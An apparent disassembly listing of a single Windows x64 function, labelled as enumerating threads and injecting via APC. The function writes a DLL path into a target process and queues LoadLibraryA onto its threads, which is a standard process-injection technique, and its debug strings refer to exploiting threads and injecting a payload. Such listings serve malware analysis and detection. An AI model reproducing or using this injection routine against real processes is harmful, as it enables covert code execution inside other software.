Function at 0x140002280
Capabilities:
Enumerate threads
Inject apc

Disassembly:
push rsi
push rdi
push r14
push r15
sub rsp, 0x68
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rdi, rcx
mov r14d, r8d
lea rcx, str.kernel32.dll
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140005520]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x1400022ef
lea rcx, str.Could_note_locate_real_address_of_LoadLibraryA__n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.140001020
xor al, al
jmp 0x14000251d
mov qword [rsp + 0xa8], rbx
lea rcx, str.LoadLibraryA_is_located_at_real_address:_0X_p_n
mov rdx, r15
mov qword [rsp + 0x60], rbp
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x140002320
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x140002370
lea rcx, str.Could_not_allocate_Memory_in_target_process_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.140001020
jmp 0x14000250e
mov rdx, rbp
lea rcx, str.Dll_path_memory_allocated_at:_0X_p_n
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop word [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140002390
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8, rdi
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400023dd
lea rcx, str.Could_not_write_into_the_allocated_memory_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.140001020
jmp 0x14000250e
mov rdx, rbp
lea rcx, str.Dll_path_memory_was_written_at_address_:_0x_p_n
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002430
lea rcx, str.Could_not_get_snapshot_of_threads_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.140001020
jmp 0x14000250e
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], 0x1c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x14000246f
lea rcx, str.Could_not_get_first_thread_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.140001020
jmp 0x14000250e
mov ebx, dword [rsp + 0x30]
cmp dword [rsp + 0x44], r14d
jne 0x1400024e0
mov ebx, dword [rsp + 0x40]
lea rcx, str.Exploitng_thread_with_ID__d
mov edx, ebx
call fcn.140001020
xor edx, edx
mov r8d, ebx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x140002545
mov edx, ebx
lea rcx, str.Thread__d_is_opened_succesfully_n
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rbp
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov edx, ebx
test eax, eax
jne 0x140002535
lea rcx, str.Error_in_calling_QueueUSerAPC___for_thread__d_..._Continuing_to_try_other_threads_n
call fcn.140001020
lea rdx, [rsp + 0x38]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140002473
test ebx, ebx
jne 0x140002505
mov edx, r14d
lea rcx, str.No_Thread_for_use_in_process__d_n
call fcn.140001020
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rbx, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400031b0
add rsp, 0x68
pop r15
pop r14
pop rdi
pop rsi
ret
lea rcx, str.Payload_Injected_successfully_in_thread__d_n
call fcn.140001020
mov al, 1
jmp 0x140002510
lea rcx, str.Error_in_Getting_found_thread_ID_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.140001020
jmp 0x14000250e